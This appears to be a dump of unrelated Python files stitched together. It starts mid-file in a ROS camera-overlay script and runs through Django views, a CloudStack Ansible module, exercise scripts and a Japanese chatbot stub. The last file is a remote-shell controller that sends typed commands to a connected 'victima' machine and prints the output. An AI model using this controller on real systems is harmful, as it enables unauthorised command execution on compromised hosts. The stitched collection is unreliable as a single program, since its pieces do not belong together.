        obj_apriltag_in_world_pose = rh.convert_reference_frame(obj_apriltag_in_camera_pose, base_in_base_pose,
                                                      cam_in_base_pose, frame_id = "base")

        marker_apriltag_in_world_pose = rh.convert_reference_frame(marker_pose_apriltag_frame, base_in_base_pose,
                                                      obj_apriltag_in_world_pose, frame_id = "base")

        obj_orientation_matrix = rh.matrix_from_pose(marker_apriltag_in_world_pose)

    else:
        object_detected = False

def end_effector_wrench_callback(data):
    global measured_contact_wrench_list
    global measured_contact_wrench_6D_list

    end_effector_wrench = data
    measured_contact_wrench_6D = -np.array(rh.wrench_stamped2list(
            end_effector_wrench))
    measured_contact_wrench = np.array([
            measured_contact_wrench_6D[0],
            measured_contact_wrench_6D[1],
            measured_contact_wrench_6D[-1]])

    measured_contact_wrench_list.append(measured_contact_wrench)
    measured_contact_wrench_6D_list.append(measured_contact_wrench_6D)

    if len(measured_contact_wrench_list) > 100:
       measured_contact_wrench_list.pop(0)
    if len(measured_contact_wrench_6D_list) > 100:
        measured_contact_wrench_6D_list.pop(0)

def end_effector_wrench_base_frame_callback(data):
    global measured_base_wrench_list
    global measured_base_wrench_6D_list

    base_wrench = data
    measured_base_wrench_6D = -np.array(rh.wrench_stamped2list(
            base_wrench))
    measured_base_wrench = np.array([
            measured_base_wrench_6D[0],
            measured_base_wrench_6D[2],
            measured_base_wrench_6D[-1]])

    measured_base_wrench_list.append(measured_base_wrench)
    measured_base_wrench_6D_list.append(measured_base_wrench_6D)

    if len(measured_base_wrench_list) > 100:
       measured_base_wrench_list.pop(0)
    if len(measured_base_wrench_6D_list) > 100:
        measured_base_wrench_6D_list.pop(0)

def friction_parameter_callback(data):
    global friction_parameter_list

    friction_parameter_list.append(json.loads(data.data))
    if len(friction_parameter_list) > 10:
       friction_parameter_list.pop(0)

def get_pix(xyz,transformation_matrix):
    # xyz should be n x 3

    # Project trajectories into pixel space
    vector = np.hstack([xyz , np.ones([xyz.shape[0], 1])])
    pixels = np.dot(transformation_matrix, vector.T)
    pix_x = np.divide(pixels[0], pixels[2])
    pix_y = np.divide(pixels[1], pixels[2])

    return pix_x, pix_y

def get_pix_easier(xyz,transformation_matrix):
    pixels = np.dot(transformation_matrix, xyz)
    pix_x = np.divide(pixels[0], pixels[2])
    pix_y = np.divide(pixels[1], pixels[2])

    return np.round(pix_x).astype(int), np.round(pix_y).astype(int)

def ee_pose_callback(data):
    global panda_hand_in_base_pose
    panda_hand_in_base_pose = data

if __name__ == '__main__':
    image_list = []
    camera_info = None

    obj_apriltag_in_camera_pose = None
    obj_apriltag_in_world_pose = None
    base_in_base_pose = None
    cam_in_base_pose = None
    marker_pose_apriltag_frame = None
    obj_orientation_matrix = None
    object_detected = False

    measured_contact_wrench_list = []
    measured_base_wrench_list = []
    friction_parameter_list = []
    measured_contact_wrench_6D_list = []
    measured_base_wrench_6D_list = []

    measured_contact_wrench_6D = None
    measured_base_wrench_6D = None

    current_image = None

    qp_debug_dict_list = []
    qp_debug_dict = None

    hand_normal_offset = -.01
    hand_points = np.array([[hand_normal_offset]*2,
                            [.0505,-.0505],
                            [0.0375,0.0375],
                            [1.0,1.0]])

    force_scale = .001

    rospy.init_node("realsense_liveplot_test")
    rospy.sleep(1.0)

    # arm = ArmInterface()
    bridge = CvBridge()

    sys_params = SystemParams()
    l_contact = sys_params.object_params["L_CONTACT_MAX"]

    object_vertex_array, apriltag_id ,apriltag_pos = load_shape_data('hexagon')

    object_vertex_array = np.vstack([object_vertex_array,
                                np.zeros(len(object_vertex_array[0])),
                                np.ones(len(object_vertex_array[0]))])

    listener = tf.TransformListener()
    # (cam_in_base_trans, cam_in_base_rot) = rh.lookupTransform('/camera_color_optical_frame', 'base', listener)
    (cam_in_base_trans, cam_in_base_rot) = rh.lookupTransform('/far_camera_color_optical_frame', 'base', listener)
    cam_in_base_pose = rh.list2pose_stamped(cam_in_base_trans + cam_in_base_rot, frame_id="base")
    base_in_base_pose = rh.unit_pose()
    marker_quat_apriltag_frame = tf.transformations.quaternion_from_euler(0, 0, 0)
    marker_pose_apriltag_frame = rh.list2pose_stamped([-apriltag_pos[0], -apriltag_pos[1], 0] + marker_quat_apriltag_frame.tolist())

    end_effector_wrench_sub = rospy.Subscriber(
        "/end_effector_sensor_in_end_effector_frame",
        WrenchStamped,
        end_effector_wrench_callback)

    end_effector_wrench_base_frame_sub = rospy.Subscriber(
        "/end_effector_sensor_in_base_frame",
        WrenchStamped,
        end_effector_wrench_base_frame_callback)

    friction_parameter_sub = rospy.Subscriber(
        '/friction_parameters',
        String,
        friction_parameter_callback)

    # image_message_sub = rospy.Subscriber(
    #    '/camera/color/image_raw',
    #     Image,
    #     image_message_callback)

    image_message_sub = rospy.Subscriber(
       '/far_cam/color/image_raw',
        Image,
        image_message_callback)

    # camera_info_sub = rospy.Subscriber(
    #     '/camera/color/camera_info',
    #     CameraInfo,
    #     camera_info_callback
    #     )
    camera_info_sub = rospy.Subscriber(
        '/far_cam/color/camera_info',
        CameraInfo,
        camera_info_callback
        )

    apriltag_message_sub = rospy.Subscriber(
        '/tag_detections',
        AprilTagDetectionArray,
        apriltag_message_callback
        )

    qp_debug_message_sub = rospy.Subscriber(
       '/qp_debug_message',
        String,
        qp_debug_message_callback)

    # subscribe to ee pose data
    panda_hand_in_base_pose = None
    panda_hand_in_base_pose_sub = rospy.Subscriber(
        '/ee_pose_in_world_from_franka_publisher', PoseStamped,
        ee_pose_callback, queue_size=1)

    print("Waiting for image message")
    while len(image_list)==0:
        rospy.sleep(0.1)

    print("Waiting for camera info")
    while camera_info is None:
        rospy.sleep(.1)

    transformation_matrix = get_tranf_matrix()
    camera_info_sub.unregister()

    while not rospy.is_shutdown():
        if qp_debug_dict_list:
            while qp_debug_dict_list:
                qp_debug_dict = qp_debug_dict_list.pop(0)

        if image_list:
            while image_list:
                current_image = image_list.pop(0)

        if measured_contact_wrench_list:
            while measured_contact_wrench_list:
                measured_contact_wrench = measured_contact_wrench_list.pop(0)

        if measured_base_wrench_list:
            while measured_base_wrench_list:
                measured_base_wrench = measured_base_wrench_list.pop(0)

        if measured_contact_wrench_6D_list:
            while measured_contact_wrench_6D_list:
                measured_contact_wrench_6D = measured_contact_wrench_6D_list.pop(0)

        if measured_base_wrench_6D_list:
            while measured_base_wrench_6D_list:
                measured_base_wrench_6D = measured_base_wrench_6D_list.pop(0)

        if friction_parameter_list:
            while friction_parameter_list:
                friction_parameter_dict = friction_parameter_list.pop(0)

                A_contact_right = np.array(friction_parameter_dict["acr"])
                B_contact_right = friction_parameter_dict["bcr"]
                A_contact_left = np.array(friction_parameter_dict["acl"])
                B_contact_left = friction_parameter_dict["bcl"]

                A_external_right = np.array(friction_parameter_dict["aer"])
                B_external_right = np.array(friction_parameter_dict["ber"])
                A_external_left = np.array(friction_parameter_dict["ael"])
                B_external_left = np.array(friction_parameter_dict["bel"])

                P0_L =[A_contact_left[0]*B_contact_left,A_contact_left[1]*B_contact_left]
                P0_R =[A_contact_right[0]*B_contact_right,A_contact_right[1]*B_contact_right]

        if current_image is not None:

            cv_image = bridge.imgmsg_to_cv2(current_image, "bgr8")

            # face_center franka pose
            # endpoint_pose_franka = arm.endpoint_pose()

            endpoint_pose = panda_hand_in_base_pose
            endpoint_pose_list = rh.pose_stamped2list(panda_hand_in_base_pose)

            # # face_center list
            # endpoint_pose_list = franka_helper.franka_pose2list(endpoint_pose_franka)

            contact_pose_stamped = rh.list2pose_stamped(endpoint_pose_list)
            contact_pose_homog = rh.matrix_from_pose(contact_pose_stamped)

            if object_detected:
                xyz=np.array([[obj_apriltag_in_world_pose.pose.position.x,
                               obj_apriltag_in_world_pose.pose.position.y,
                               obj_apriltag_in_world_pose.pose.position.z]])
                pix_x, pix_y = get_pix(xyz,transformation_matrix)
                x_coord= int(np.round(pix_x[0]))
                y_coord= int(np.round(pix_y[0]))

                #cv2.circle(cv_image, (x_coord,y_coord), 5, 255, -1)

                current_dot_positions = np.dot(obj_orientation_matrix,object_vertex_array)
                height_indices = np.argsort(current_dot_positions[2])

                h0 = current_dot_positions[2][height_indices[0]]
                h1 = current_dot_positions[2][height_indices[1]]

                desired_dot_positions = current_dot_positions

                if qp_debug_dict is not None and 'err_theta' in qp_debug_dict['error_dict']:
                    d_theta = qp_debug_dict['error_dict']['err_theta']

                    temp_vertex_array = object_vertex_array+0.0
                    min_vertex = object_vertex_array[0:3,height_indices[0]]
                    for i in range(0,len(temp_vertex_array[0])):
                        temp_vertex_array[0:3,i]-=min_vertex

                    my_rotation = np.array([[np.cos(d_theta),-np.sin(d_theta),0.,min_vertex[0]],
                                  [np.sin(d_theta), np.cos(d_theta),0.,min_vertex[1]],
                                  [0.,0.,0.,min_vertex[2]],
                                  [0.,0.,0.,1.],])
                    desired_dot_positions = np.dot(obj_orientation_matrix,np.dot(my_rotation,temp_vertex_array))

                if qp_debug_dict is not None and 'err_x_pivot' in qp_debug_dict['error_dict']:
                    dx_pivot = qp_debug_dict['error_dict']['err_x_pivot']
                    desired_dot_positions[0,:]+=dx_pivot

                x_coord, y_coord = get_pix_easier(desired_dot_positions,transformation_matrix)
                cv2.polylines(cv_image, [np.vstack([x_coord,y_coord]).T], True, (51,51,255), thickness = 2)

                count = 0
                height_threshold = .003
                while count<len(height_indices) and (current_dot_positions[2][height_indices[count]]
                    -current_dot_positions[2][height_indices[0]])<height_threshold:

                    x_coord, y_coord = get_pix_easier(current_dot_positions[:,height_indices[count]],transformation_matrix)
                    cv2.circle(cv_image, (x_coord,y_coord), 5, (0,0,153), -1)
                    count+=1

                if measured_contact_wrench_6D is not None and measured_base_wrench_6D is not None:

                    P0 = None

                    if current_dot_positions[2][height_indices[1]]-current_dot_positions[2][height_indices[0]]<height_threshold:
                        P_a = current_dot_positions[:,height_indices[0]]
                        P_b = current_dot_positions[:,height_indices[1]]
                        P_e = contact_pose_homog[:,3]

                        Tau_a = np.dot(np.cross(P_a[0:3]-P_e[0:3],measured_base_wrench_6D[0:3]),obj_orientation_matrix[0:3,2])
                        Tau_b = np.dot(np.cross(P_b[0:3]-P_e[0:3],measured_base_wrench_6D[0:3]),obj_orientation_matrix[0:3,2])
                        Tau_net = np.dot(measured_base_wrench_6D[3:6],obj_orientation_matrix[0:3,2])

                        epsilon1 = (Tau_net-Tau_b)/(Tau_a-Tau_b)
                        epsilon1 = np.max([np.min([epsilon1,1]),0])

                        epsilon2 = 1-epsilon1
                        #epsilon2 = (Tau_net-Tau_a)/(Tau_b-Tau_a)

                        P0 = epsilon1*P_a + epsilon2*P_b

                    else:
                        P0 = current_dot_positions[:,height_indices[0]]

                    if P0 is not None:
                        force_tip = np.hstack([P0[0:3] - force_scale*measured_base_wrench_6D[0:3], np.array([1])])

                        x_coord, y_coord = get_pix_easier(np.vstack([P0,force_tip]).T,transformation_matrix)

                        #cv2.polylines(cv_image, [np.vstack([x_coord,y_coord]).T], True, (0,25,51), thickness = 2)
                        cv2.arrowedLine(cv_image, (x_coord[0],y_coord[0]), (x_coord[1],y_coord[1]), (0,25,51), thickness = 2)

                        x_coord, y_coord = get_pix_easier(P0,transformation_matrix)

                        cv2.circle(cv_image, (x_coord,y_coord), 5, (153,0,0), -1)

            if qp_debug_dict is not None and 'err_s' in qp_debug_dict['error_dict']:
                    ds_hand = qp_debug_dict['error_dict']['err_s']
                    desired_hand_points = hand_points+0.0
                    desired_hand_points[1,:]+=ds_hand

                    x_coord, y_coord = get_pix_easier(np.dot(contact_pose_homog,desired_hand_points),transformation_matrix)
                    cv2.polylines(cv_image, [np.vstack([x_coord,y_coord]).T], True, (0,255,0), thickness = 2)

            x_coord, y_coord = get_pix_easier(np.dot(contact_pose_homog,hand_points),transformation_matrix)
            cv2.polylines(cv_image, [np.vstack([x_coord,y_coord]).T], True, (0,128,255), thickness = 2)

        if measured_contact_wrench_6D is not None and measured_base_wrench_6D is not None:
            if np.abs(measured_contact_wrench_6D[0])>.1:
                contact_point = measured_contact_wrench_6D[-1]/measured_contact_wrench_6D[0]
                contact_point = np.max([np.min([contact_point,l_contact/2]),-l_contact/2])
                alpha_2 = (contact_point+l_contact/2)/(l_contact)
                alpha_1 = 1-alpha_2
                mid_point = np.dot(np.dot(contact_pose_homog,hand_points),np.array([alpha_1,alpha_2]))

                force_tip = np.hstack([mid_point[0:3] + force_scale*measured_base_wrench_6D[0:3], np.array([1])])

                x_coord, y_coord = get_pix_easier(np.vstack([mid_point,force_tip]).T,transformation_matrix)

                #cv2.polylines(cv_image, [np.vstack([x_coord,y_coord]).T], True, (0,25,51), thickness = 2)
                cv2.arrowedLine(cv_image, (x_coord[0],y_coord[0]), (x_coord[1],y_coord[1]), (0,25,51), thickness = 2)

                x_coord, y_coord = get_pix_easier(mid_point,transformation_matrix)

                cv2.circle(cv_image, (x_coord,y_coord), 5, (0,0,153), -1)

        cv2.imshow("Image window", cv_image)
        cv2.waitKey(3)


#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Wed Sep 20 20:43:03 2017

@author: aayushgadia
"""

filename=input('Enter Mailbox Data Filename: ')
f_in=open(filename)
i=0
for line in f_in:
    if line.startswith('From '):
        i+=1
        sent_names=line.split()
        print(sent_names[1])

print('There were',i,'lines in the file with From as the first word')


#!/usr/bin/env python3

import sys
import argparse

def main():
    args = parse_args()
    draw(args.fields)

def draw(fields):
    drawaux(fields, '┌', '┬', '┐', lambda s: '─' * len(s))
    drawaux(fields, '│', '│', '│', lambda s: s)
    drawaux(fields, '└', '┴', '┘', lambda s: '─' * len(s))

def drawaux(fields, start, middle, end, value):
    for i, s in enumerate(fields):
        if i == 0:
            print(start, end='')
        else:
            print(middle, end='')
        print(value(s), end='')
    else:
        print(end)

def parse_args():
    ap = argparse.ArgumentParser()
    ap.add_argument("-w", "--width",
                    type=int)
    ap.add_argument("-c", "--count",
                    type=int)
    ap.add_argument("fields",
                    nargs='+')

    args = ap.parse_args()
    if args.count is None:
        args.count = len(args.fields)

    if args.width is not None:
        for i in range(len(args.fields)):
            args.fields[i] = '%*s' % (args.width, args.fields[i])

    while args.count > len(args.fields):
        if args.width is None:
            args.fields.append('')
        else:
            args.fields.append(' ' * args.width)

    return args

if __name__ == '__main__':
    main()


from django.http import HttpResponse
from django.shortcuts import render, redirect, get_object_or_404
from .models import *
from .forms import *

def add_item(request):
    if request.method == 'POST':
        form = ItemForm(request.POST)
        form.save()
        return redirect('calc:items')
    else:
        form = ItemForm()
    context = {
        'form': form,
    }
    return HttpResponse(render(request, 'calc/add_item.html', context=context))


from typing import *

class Solution:
    def maxIceCream(self, costs: List[int], coins: int) -> int:
        costs.sort()
        ans = 0
        for price in costs:
            if coins >= price:
                ans += 1
                coins -= price
        return ans


from django.conf import settings
from rest_framework import serializers
from rest_framework.exceptions import ValidationError
from students.models import Course

class CourseSerializer(serializers.ModelSerializer):
    class Meta:
        model = Course
        fields = ("id", "name", "students")

    def validate(self, attr):
        http_method = self.context["request"].method
        if http_method == 'POST':
            student_count = len(attr.get('students'))
            if student_count >= settings.MAX_STUDENTS_PER_COURSE:
                raise ValidationError(f'Вы превысили максимальное число студентов на курсе:'
                                      f' {settings.MAX_STUDENTS_PER_COURSE}')

        return attr


# Import render from django shortcuts
from django.shortcuts import render

#Import check_email function, cv, model from Email_Spaming_Model.py
from Email_Spaming_Model import check_email,cv,model

# Making prediction function.
def predict_email(msg):
    # Here msg is going through check_email function.
    email_pre = check_email(msg)

    # Then passes through CountVectorizer.
    email_arr = cv.transform(email_pre)

    if (email_arr.shape == (0,7274)):
        email_post = ['ham']
    else:
        # Then Predict the email (spam or ham)
        email_post = model.predict(email_arr)

    # return the output.
    return email_post[0]

# Making email spaming function.
def emailhit(request):
    if request.method == 'POST':

        # receive input by post function.
        check_msg = request.POST['T1']

        #checking output is spam or not.
        if predict_email(check_msg) == 'spam':
            data = 'spam'

#           return spam to html file.
            return render(request, 'home.html', {'data': data})
        else:
            data = 'ham'
#           return ham to html file.
            return render(request, 'home.html', {'data': data})
    else:
#       return error if page is not load.
        return render(request, 'home.html', {'data': "Page Loading Fail"})


import sql.sql_backend as sql
import distance.top_users as tu
import re

###################################################################################################
#                                                                                #
#                                      UTILIZACIÓN DEL SCRIPT                                     #
#                                                                                #
###################################################################################################
#                                                                                #
# 1. Ejecutar el script con python3 reduced_db.py                                                 #
#    + El script actualizará user.sql y mention.sql (los archvios importantes para las consultas) #
#    + El script irá mostrando el progreso de la ejecución                                        #
#    + Hay que esperar a que termine la ejecución                                                 #
# 2. Editar el archivo user.sql:                                                                  #
#    + Añadir la siguiente linea antes de la inserción de los usuarios: (línea 41)                #
#      INSERT INTO `user` (`id`, `user_id`, `created_at`, `retrieved_at`) VALUES                  #
#    + En la última inserción, quitar ',' y añadir ';'                                            #
# 3. Editar el archivo mention.sql:                                                               #
#    + Abrir el archivo, buscar y eliminar todas las líneas líneas que concuerden con:            #
#      INSERT INTO `mention` (`id`, `tweet_id`, `user_id`, `retrieved_at`) VALUE;                 #
#    + En la última inserción, quitar ',' y añadir ';'                                            #
#                                                                                #
###################################################################################################

def main():
    prueba_db = sql.get_engine('phpmyadmin')

    # Obtenemos los top users
    print("Obteniondo top users...")
    top_users = tu.top_users(prueba_db)
    not_delete_users = []

    print("Leyendo usuarios...")

    with open('/home/rubgarfue/Descargas/original_db/user.sql') as f:
        # Obtenemos todas las lineas del fichero
        lines = f.readlines()
        delete_lines = []
        for i in range(len(lines)):
            print("Linea " + str(i+1) + "/" + str(len(lines)))
            # Si la linea es la creación de un nuevo usuario
            if re.match(r"^\([0-9]+, ", lines[i]):
                split = lines[i].split(',')
                user = split[1][2:-1]
                # Si el usuario a crear no está en top lo eliminamos
                if user not in top_users:
                    delete_lines.append(i)
                else:
                    not_delete_users.append(split[0][1:])
            elif re.match(r"^INSERT INTO `user`", lines[i]):
                delete_lines.append(i)

        print("\nBorrando lineas...")
        delete_len = len(delete_lines)

        # Borramos las lineas indicadas
        write_lines = lines[:delete_lines[0]]
        for i in range(delete_len-1):
            print(str(i+1) + "/" + str(len(delete_lines)) + " borrado")
            write_lines += lines[delete_lines[i]+1:delete_lines[i+1]]
        write_lines += lines[delete_lines[-1]+1:]

    print("\n" + str(delete_len) + " lineas borradas\n")
    print("Escribiendo usuarios...")

    # Escribimos el nuevo fichero
    with open('/home/rubgarfue/Descargas/reduced_db/user.sql', 'w') as f:
        f.write(''.join(write_lines))

    ###############################################################################################

    print("Leyendo mentions...")

    with open('/home/rubgarfue/Descargas/original_db/mention.sql') as f:
        # Obtenemos todas las lineas del fichero
        lines = f.readlines()
        delete_lines = []
        for i in range(len(lines)):
            print("Linea " + str(i+1) + "/" + str(len(lines)))
            # Si la linea es la creación de una nueva mención
            if re.match(r"^\([0-9]+, ", lines[i]):
                user = lines[i].split(',')[2][1:]
                # Si la mencion a crear menciona a un usaurio no creado la eliminamos
                if user not in not_delete_users:
                    delete_lines.append(i)

        print("\nBorrando lineas...")
        delete_len = len(delete_lines)

        # Borramos las lineas indicadas
        write_lines = lines[:delete_lines[0]]
        for i in range(delete_len-1):
            print(str(i+1) + "/" + str(len(delete_lines)) + " borrado")
            write_lines += lines[delete_lines[i]+1:delete_lines[i+1]]
        write_lines += lines[delete_lines[-1]+1:]

        print("\nLeyendo líneas de inserción...")
        # Leemos las lineas del texto a escribir
        insert_change = []
        for i in range(len(write_lines)):
            print("Linea " + str(i+1) + "/" + str(len(write_lines)))
            # Si la linea es la inserción de los usuarios la añadimos al cambio
            if re.match(r"^INSERT INTO `mention`", write_lines[i]):
                insert_change.append(i)

        print("\nCambiando líneas de inserción...")
        # Cambiamos las líneas de inserción
        insert_change_len = len(insert_change)
        for i in range(1, insert_change_len-1):
            print(str(i) + "/" + str(len(insert_change)))
            write_lines[insert_change[i]-1] = write_lines[insert_change[i]-1][:-2] + ';\n'

    print("\n" + str(len(delete_lines)) + " lineas borradas\n")
    print("Escribiendo mentions...")

    # Escribimos el nuevo fichero
    with open('/home/rubgarfue/Descargas/reduced_db/mention.sql', 'w') as f:
        f.write(''.join(write_lines))

if __name__ == '__main__':
    main()


from __future__ import absolute_import, division, print_function

__metaclass__ = type

DOCUMENTATION = '''
---
module: cs_pod
short_description: Manages pods on Apache CloudStack based clouds.
description:
    - Create, update, delete pods.
author: René Moser (@resmo)
version_added: 0.1.0
options:
  name:
    description:
      - Name of the pod.
    type: str
    required: true
  id:
    description:
      - uuid of the existing pod.
    type: str
  start_ip:
    description:
      - Starting IP address for the Pod.
      - Required on I(state=present)
    type: str
  end_ip:
    description:
      - Ending IP address for the Pod.
    type: str
  netmask:
    description:
      - Netmask for the Pod.
      - Required on I(state=present)
    type: str
  gateway:
    description:
      - Gateway for the Pod.
      - Required on I(state=present)
    type: str
  zone:
    description:
      - Name of the zone in which the pod belongs to.
    type: str
    required: true
  state:
    description:
      - State of the pod.
    type: str
    default: present
    choices: [ present, enabled, disabled, absent ]
extends_documentation_fragment:
- ngine_io.cloudstack.cloudstack
'''

EXAMPLES = '''
- name: Ensure a pod is present
  ngine_io.cloudstack.cs_pod:
    name: pod1
    zone: ch-zrh-ix-01
    start_ip: 10.100.10.101
    gateway: 10.100.10.1
    netmask: 255.255.255.0

- name: Ensure a pod is disabled
  ngine_io.cloudstack.cs_pod:
    name: pod1
    zone: ch-zrh-ix-01
    state: disabled

- name: Ensure a pod is enabled
  ngine_io.cloudstack.cs_pod:
    name: pod1
    zone: ch-zrh-ix-01
    state: enabled

- name: Ensure a pod is absent
  ngine_io.cloudstack.cs_pod:
    name: pod1
    zone: ch-zrh-ix-01
    state: absent
'''

RETURN = '''
---
id:
  description: UUID of the pod.
  returned: success
  type: str
  sample: 04589590-ac63-4ffc-93f5-b698b8ac38b6
name:
  description: Name of the pod.
  returned: success
  type: str
  sample: pod01
start_ip:
  description: Starting IP of the pod.
  returned: success
  type: str
  sample: 10.100.1.101
end_ip:
  description: Ending IP of the pod.
  returned: success
  type: str
  sample: 10.100.1.254
netmask:
  description: Netmask of the pod.
  returned: success
  type: str
  sample: 255.255.255.0
gateway:
  description: Gateway of the pod.
  returned: success
  type: str
  sample: 10.100.1.1
allocation_state:
  description: State of the pod.
  returned: success
  type: str
  sample: Enabled
zone:
  description: Name of zone the pod is in.
  returned: success
  type: str
  sample: ch-gva-2
'''

from ansible.module_utils.basic import AnsibleModule

from ..module_utils.cloudstack import (AnsibleCloudStack, cs_argument_spec,
                                       cs_required_together)

class AnsibleCloudStackPod(AnsibleCloudStack):

    def __init__(self, module):
        super(AnsibleCloudStackPod, self).__init__(module)
        self.returns = {
            'endip': 'end_ip',
            'startip': 'start_ip',
            'gateway': 'gateway',
            'netmask': 'netmask',
            'allocationstate': 'allocation_state',
        }
        self.pod = None

    def _get_common_pod_args(self):
        args = {
            'name': self.module.params.get('name'),
            'zoneid': self.get_zone(key='id'),
            'startip': self.module.params.get('start_ip'),
            'endip': self.module.params.get('end_ip'),
            'netmask': self.module.params.get('netmask'),
            'gateway': self.module.params.get('gateway')
        }
        state = self.module.params.get('state')
        if state in ['enabled', 'disabled']:
            args['allocationstate'] = state.capitalize()
        return args

    def get_pod(self):
        if not self.pod:
            args = {
                'zoneid': self.get_zone(key='id')
            }

            uuid = self.module.params.get('id')
            if uuid:
                args['id'] = uuid
            else:
                args['name'] = self.module.params.get('name')

            pods = self.query_api('listPods', **args)
            if pods:
                for pod in pods['pod']:
                    if not args['name']:
                        self.pod = self._transform_ip_list(pod)
                        break
                    elif args['name'] == pod['name']:
                        self.pod = self._transform_ip_list(pod)
                        break
        return self.pod

    def present_pod(self):
        pod = self.get_pod()
        if pod:
            pod = self._update_pod()
        else:
            pod = self._create_pod()
        return pod

    def _create_pod(self):
        required_params = [
            'start_ip',
            'netmask',
            'gateway',
        ]
        self.module.fail_on_missing_params(required_params=required_params)

        pod = None
        self.result['changed'] = True
        args = self._get_common_pod_args()
        if not self.module.check_mode:
            res = self.query_api('createPod', **args)
            pod = res['pod']
        return pod

    def _update_pod(self):
        pod = self.get_pod()
        args = self._get_common_pod_args()
        args['id'] = pod['id']

        if self.has_changed(args, pod):
            self.result['changed'] = True

            if not self.module.check_mode:
                res = self.query_api('updatePod', **args)
                pod = res['pod']
        return pod

    def absent_pod(self):
        pod = self.get_pod()
        if pod:
            self.result['changed'] = True

            args = {
                'id': pod['id']
            }
            if not self.module.check_mode:
                self.query_api('deletePod', **args)
        return pod

    def _transform_ip_list(self, resource):
        """ Workaround for 4.11 return API break """
        keys = ['endip', 'startip']
        if resource:
            for key in keys:
                if key in resource and isinstance(resource[key], list):
                    resource[key] = resource[key][0]
        return resource

    def get_result(self, resource):
        resource = self._transform_ip_list(resource)
        super(AnsibleCloudStackPod, self).get_result(resource)
        return self.result

def main():
    argument_spec = cs_argument_spec()
    argument_spec.update(dict(
        id=dict(),
        name=dict(required=True),
        gateway=dict(),
        netmask=dict(),
        start_ip=dict(),
        end_ip=dict(),
        zone=dict(required=True),
        state=dict(choices=['present', 'enabled', 'disabled', 'absent'], default='present'),
    ))

    module = AnsibleModule(
        argument_spec=argument_spec,
        required_together=cs_required_together(),
        supports_check_mode=True
    )

    acs_pod = AnsibleCloudStackPod(module)
    state = module.params.get('state')
    if state in ['absent']:
        pod = acs_pod.absent_pod()
    else:
        pod = acs_pod.present_pod()

    result = acs_pod.get_result(pod)

    module.exit_json(**result)

if __name__ == '__main__':
    main()


nums = input().split(',')
num = [int(nums[i]) for i in range(len(nums))]
# print(num)

# res = 0
# if nums[len(nums) - 1] < nums[len(nums) - 2]:
#     res = len(nums) - 1
# for i in range(1, len(nums) - 1):
#     if (nums[i] < nums[i - 1]) & (nums[i] < nums[i + 1]):
#         res = i
#         break
# print(nums[res])

lst = list(num)
lst.sort()
print(lst[0])


#!/usr/bin/env python3
import pickle
import re
import csv
import random
import string
import mojimoji
import MeCab
from gensim.models.doc2vec import Doc2Vec
from gensim.models.doc2vec import TaggedDocument

# mecabのneologd辞書のファイルパス
MECAB_NEOLOGD = '/usr/local/lib/mecab/dic/mecab-ipadic-neologd'

def preprocessing_text(text):
    # 半角・全角の統一
    text = mojimoji.han_to_zen(text)
    # 改行、半角スペース、全角スペースを削除
    text = re.sub('\r', '', text)
    text = re.sub('\n', '', text)
    text = re.sub('　', '', text)
    text = re.sub(' ', '', text)
    # 数字文字の一律「0」化
    text = re.sub(r'[0-9 ０-９]+', '0', text)  # 数字

    # カンマ、ピリオド以外の記号をスペースに置換
    for p in string.punctuation:
        if (p == ".") or (p == ","):
            continue
        else:
            text = text.replace(p, " ")

    return text

# 分かち書き
def tokenizer_mecab(text):
    m_t = MeCab.Tagger('-Owakati')
    try:
        f = open(MECAB_NEOLOGD, 'r')
        f.close()
    except IsADirectoryError:
         m_t = MeCab.Tagger('-Owakati -d '+MECAB_NEOLOGD)
    except FileNotFoundError:
        pass

    text = m_t.parse(text)  # これでスペースで単語が区切られる
    ret = text.strip().split()  # スペース部分で区切ったリストに変換
    return ret

# 前処理と分かち書きをまとめた関数を定義
def tokenizer_with_preprocessing(text):
    text = preprocessing_text(text)  # 前処理の正規化
    ret = tokenizer_mecab(text)  # Mecabの単語分割
    return ret

# 基本設計
class BaseCh():
    position = 0
    position_dic = {
        '村人': 0, '占い師': 1, '霊媒師': 2, '狩人': 3,
        '人狼': 4, '狂人': 5, '共有者': 6, '妖狐': 7
    }
    status = 0
    corpus = {
        'Zzz…。':[0], 'ひかり':[0], '腹筋！':[0], 'やっほー':[0],
        'こんばんはー。':[0], 'は？':[0], 'やあ':[0], 'どきどき':[0],
        'ﾑｼｬﾑｼｬﾑｼｬﾑｼｬ((´)艸(｀ ))｡ﾟ｡':[0], 'ずさー。':[0], 'おはようございます。':[0],
        'よろしくお願いします。':[0], 'こんばんわー':[0], '呼んだ？':[0], 'ズサー':[0],
        'よろしく':[0], 'ずさー':[0], '人狼なんているわけないじゃん。みんな大げさだなあ':[0],
        'ふぁーあ……ねむいな……寝てていい？':[0]
    }
    predict_positions = {}

    def __init__(self):
        pass

    # 役職から役職の番号へ
    def ch2position(self, ch):
        return self.position_dic[ch]

    # ch2positionの逆変換
    def position2ch(self, position):
        keys = [ k for k,v in self.position_dic.items() if v == position ]
        return keys[0] if keys else None

    # 状態からコーパス検索
    def status2seq(self):
        seq = [ s for s,v in self.corpus.items() if v[0] == self.status ]
        if seq:
            index = random.randint(0,len(seq)-1)
            return seq[index]
        return None

    # 出力
    def output(self, s):
        print(s)

class Position0(BaseCh):
    def say(self):
        seq = self.status2seq()
        self.output(seq)

if __name__ == '__main__':
    '''
    documents = [[],[]]
    with open('corpus.csv', 'r') as f:
        for row in csv.reader(f, delimiter='\t'):
            documents[0].append(tokenizer_with_preprocessing(row[0]))
            documents[1].append(row[1])

    vec = [ {} for i in range(len(documents)) ]
    for i in set(documents[0]):
        for j in range(len(documents)):
            vec[j][i] = tokenized[j].count(i)

    print(vec)

    ue = st1 = st2 = 0
    for i in tokens:
        ue += vec[0][i] * vec[1][i]
        st1 += vec[0][i] ** 2
        st2 += vec[1][i] ** 2

    print(ue / (math.sqrt(st1) * math.sqrt(st2)))
    '''

    position0 = Position0()
    while True:
        try:
            s = input()
            if s == 'quit':
                break
        except EOFError:
            break
    position0.say()


import socket

def main():
    server = socket.socket()
    server.bind(('localhost',7777)) #levanto el servidor en local y en el puerto 7777
    server.listen(1) #pongo a la espera de conexión, en este caso 1 espera

    while True:
        victima, direccion = server.accept()
        print(f'Conexión de : {direccion}')

        ver = victima.recv(1024) #recibo los datos del servidor
        print(ver)
        if ver == bytes('1'): #este 1 viene del lado del servidor
            while True:
                opcion = input("shell@shell: ")
                victima.send(opcion) #mandamos el msj
                resultado = victima.recv(2048)
                print(resultado)

if __name__ == '__main__':
    try:
        main()
    except KeyboardInterrupt:
        print('Saliendo..')
        exit()


